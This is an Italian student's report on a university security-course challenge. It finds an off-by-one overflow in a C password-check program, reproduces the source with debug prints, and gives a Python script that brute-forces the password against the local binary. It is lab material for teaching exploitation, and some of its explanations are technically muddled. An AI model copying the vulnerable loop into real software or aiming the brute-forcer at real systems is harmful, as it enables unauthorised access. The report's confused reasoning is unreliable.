Titotto Paolo 895227

REPORT CHALLENGE 2

Sommario

REPORT CHALLENGE 2 1
TASK 1 2
TASK 2 2
CODICE DI DEBUG 2
TASK 3 4
SCRIPT PYTHON 5

Titotto Paolo 895227

TASK 1

Il bug è stato trovato analizzando il codice sorgente dato passo passo, seguendo i commenti e provando a eseguirlo manualmente. Il problema del codice è quando viene inserito un carattere 'c' nel 'buffer2' attraverso il ciclo for. Il bug consiste nel fatto che la dimensione di buffer2 è pari a PWDLEN = 16 senza però il carattere di terminazione '\0'. Facendo questo io posso copiare nel buffer2 uno o più caratteri rispetto alla sua dimensione massima. Inoltre la condizione del ciclo for è che appena trova un EOF (quindi il carattere di terminazione '\0') o un a capo ('\n') si interrompe. Concludendo possiamo dire che io posso inserire quanti caratteri voglio in buffer2 anche superando la sua dimensione, facendo questo andrò a leggere i dati presenti nello stack pari al numero di caratteri oltre la dimensione massima.

TASK 2

Per la soluzione di questa task ho utilizzato il sistema di ricompilare il codice dato con una copia dell'eseguibile, aggiungendo delle printf (stampe) degli indirizzi di buffer1, buffer2 e la password salvata in un mio pwd.txt.

Facendo questo ho capito che se inserisco dati superiori a 16 caratteri il risultato è 'invalid pointer' perché vado a sovrascrivere lo stack.

CODICE DI DEBUG

```
/*
 * Challenge: program exploitation
 *
 * Course "Sicurezza", undergraduate degree in Computer Science
 * Ca' Foscari University, Venice
 * https://secgroup.dais.unive.it/teaching/sicurezza/
 *
 * Author: Riccardo Focardi
 *
 * Task: discover the password
 *
 * compile with
 * gcc pwdChallenge.c -o pwdChallenge
 *
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PWDLEN 16 // max PWD len without NULL terminator
#define PWDFILE "pwd.txt"
char *buffer1;        // buffer for stored password
char buffer2[PWDLEN]; // buffer of size PWDLEN for typed pwd
/*
 * exits with an error message
 */
void die(char *s) {
    printf("Error: %s\n",s); fflush(stdout);
    free(buffer1);
    exit(EXIT_FAILURE);
```

```
}
/*
 * Reads PWD from PWDFILE and stores it in buffer1
 */
void *readPwd() {
    FILE *f;
    char c;
    int i;
    buffer1 = malloc(PWDLEN); // allocates PWDLEN chars
    f = fopen(PWDFILE, "r");
    if(f == NULL)
        die("cannot open password file");
    for (i=0;i<PWDLEN-1 && (c = fgetc(f)) != EOF;i++) {
        buffer1[i] = c;
    }
    buffer1[i] = '\0'; // null-terminates the buffer
    fclose(f);
}
/*
 * Reads password from terminal
 * NOTE: we removed gets as it is risky!
 * We use getchar and check the length instead!
 */
void askPwd() {
    char c;
    int i;
    printf("Insert password: ");
    fflush(stdout);
    // zeroes the buffer2
    memset(buffer2,'\0',PWDLEN);
    // gets is risky we use a loop!!!
    // gets(buffer2);
    // Reads at most PWDLEN chars!
    for (i=0;i<=PWDLEN && (c=getchar())!=EOF && c!='\n'; i++) { /*bug è dovuto al
fatto che il buffer2 ha dimensione uguale alla lunghezza della password, inoltre la
    lunghezza della password non contiene il carattere di terminazione e quindi
facendo il ciclo vado a sovrascrivere nello stack. Inol*/
        buffer2[i]=c;
    }
}
int main(int argc, char *argv[]) {
    readPwd(); // reads stored PWD in buffer1
    // Debug:
        // Debug: Print the addresses and content of buffers
    printf("Address of buffer1: %p\n", buffer1);
    printf("Address of buffer2: %p\n", buffer2);
    printf("Stored password: %s\n", buffer1);

    askPwd(); // reads user PWD in buffer2
```

```
    // Debug: Print the typed password and its length
    printf("Typed password: %s\n", buffer2);
    printf("Typed password length: %ld\n", strlen(buffer2));
    // printf("%p %p %p \n",&buffer1,&buffer2,buffer1);
    // Debug:
    // printf("%p %p %p \n",&buffer1,&buffer2,buffer1);
    // compares buffers, comparison is done up to
    // PWDLEN-1 so it does not matter if strings
    // are null-terminated!
    if (strncmp(buffer1, buffer2, PWDLEN-1) == 0) {
        printf("Authenticated!\n"); fflush(stdout);
        free(buffer1);
        exit(EXIT_SUCCESS);
    } else {
        // Debug:
        // printf("Wrong password: buffer1(%s), buffer2(%s)\n",buffer1,buffer2);
        if (strlen(buffer1) != strlen(buffer2)) {
            printf("Password should be %ld chars\n",strlen(buffer1));
        }
        die("wrong password!");
    }
}
```

TASK 3

Per fare la exploitation la strategia utilizzata è quella di brute-force, ovvero tentare tutte le possibili combinazioni tra lettere maiuscole, minuscole, numeri e caratteri speciali quali (!"#$%&'()*+,./:;<=>?@[\]^_`{|}~) escludendo lo spazio tramite l'utilizzo di string.printable e str.strip().

Sono stati utilizzati i metodi del subprocess utilizzando la pipe e l'eseguibile presente nella directory. Ho impostato lo stdin, stdout e stderr a subprocess.PIPE. Al passaggio successivo ho fatto la communicate tra l'input, corrispondente alla password, e encode. In conclusione ho fatto il return dell'output decodificato.

Successivamente è stata creata una variabile contenente tutti i caratteri ascii stampabili.

Alla riga successiva è stato fatto un forEach per tutte possibili combinazioni della variabile appena creata ripetute 16 volte, quindi come la lunghezza della password. Il tutto è stato fatto usando la funzione che simula il prodotto cartesiano iteratools.product() facendo successivamente uno yield ‘’.join(indice_foreach) in modo da stampare ogni volta la password che si sta testando.

Titotto Paolo 895227

All’ultimo ciclo forEach vengono passate tutte le password generate precedentemente. Viene salvato in una varibile result il risultato della password, ovvero autenticato o no, viene fatto un controllo se è presente la stringa Authenticated e in caso affermativo stampa la password corretta.

SCRIPT PYTHON

```python
import subprocess
import string
import itertools

def test_password(password):
    process = subprocess.Popen(
        ['./pwdChallenge'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    stdout, stderr = process.communicate(input=password.encode())
    return stdout.decode()

# Function to generate password combinations
def generate_passwords():
    characters = string.printable.strip()
    for password in itertools.product(characters, repeat=16):  # Fixed length of 16
        yield ''.join(password)

# Try all generated passwords
for password in generate_passwords():
    result = test_password(password)
    print(f"Trying password: {password}")
    if "Authenticated!" in result:
        print(f"Password found: {password}")
        break
```

Titotto Paolo 895227

Possiamo vedere in questa immagine una parte dell'esecuzione del codice:

